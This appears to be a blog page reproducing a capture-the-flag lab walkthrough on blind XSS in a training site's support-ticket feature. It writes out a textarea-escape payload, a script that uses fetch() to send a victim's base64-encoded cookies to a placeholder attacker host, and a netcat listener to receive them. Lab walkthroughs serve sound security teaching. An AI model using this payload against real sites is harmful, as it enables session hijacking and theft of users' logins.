boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Stealing Cookies

For the last task, we go over a Blind XSS vulnerability. Ensure you terminate the previous machine and then click on the green Start Machine button on the right to load the Acme IT Support website. You'll need to use the AttackBox using the blue button at the top of the page. Once loaded, open the link below inside the AttackBox's Firefox browser to view the target website.

https://LAB_WEB_URL.p.thmlabs.com

Click on the Customers tab on the top navigation bar and click the "Signup here" link to create an account. Once your account gets set up, click the Support Tickets tab, which is the feature we will investigate for weaknesses.

Try creating a support ticket by clicking the green Create Ticket button, enter the subject and content of just the word test and then click the blue Create Ticket button. You'll now notice your new ticket in the list with an id number which you can click to take you to your newly created ticket.

Like task three, we will investigate how the previously entered text gets reflected on the page. Upon viewing the page source, we can see the text gets placed inside a textarea tag.

Let's now go back and create another ticket. Let's see if we can escape the textarea tag by entering the following payload into the ticket contents:

</textarea>test

Again, opening the ticket and viewing the page source, we've successfully escaped the textarea tag.

Let's now expand on this payload to see if we can run JavaScript and confirm that the ticket creation feature is vulnerable to an XSS attack. Try another new ticket with the following payload:

</textarea><script>alert('THM');</script>

Now when you view the ticket, you should get an alert box with the string THM. We're going to now expand the payload even further and increase the vulnerability's impact. Because this feature is creating a support ticket, we can be reasonably confident that a staff member will also view this ticket, which we could get to execute JavaScript.

Some helpful information to extract from another user would be their cookies, which we could use to elevate our privileges by hijacking their login session. To do this, our payload will need to extract the user's cookie and exfiltrate it to another web server of our choice. Firstly, we'll need to set up a listening server to receive the information.

While using the TryHackMe AttackBox, let's set up a listening server using Netcat:

user@machine$ nc -nlvp 9001

Now that we've set up the method of receiving the exfiltrated information, let's build the payload.

</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>

Let's break down the payload:

Now create another ticket using the above payload, making sure to swap out the {URL_OR_IP} variable to your settings (make sure to specify the port number as well for the Netcat listener). Now, wait up to a minute, and you'll see the request come through containing the victim's cookies.

Note: You may encounter issues with receiving the request using your own VM and the VPN. It is recommended you use the AttackBox for this task.

You can now base64 decode this information using a site like https://www.base64decode.org/, giving you the necessary information to answer the below question.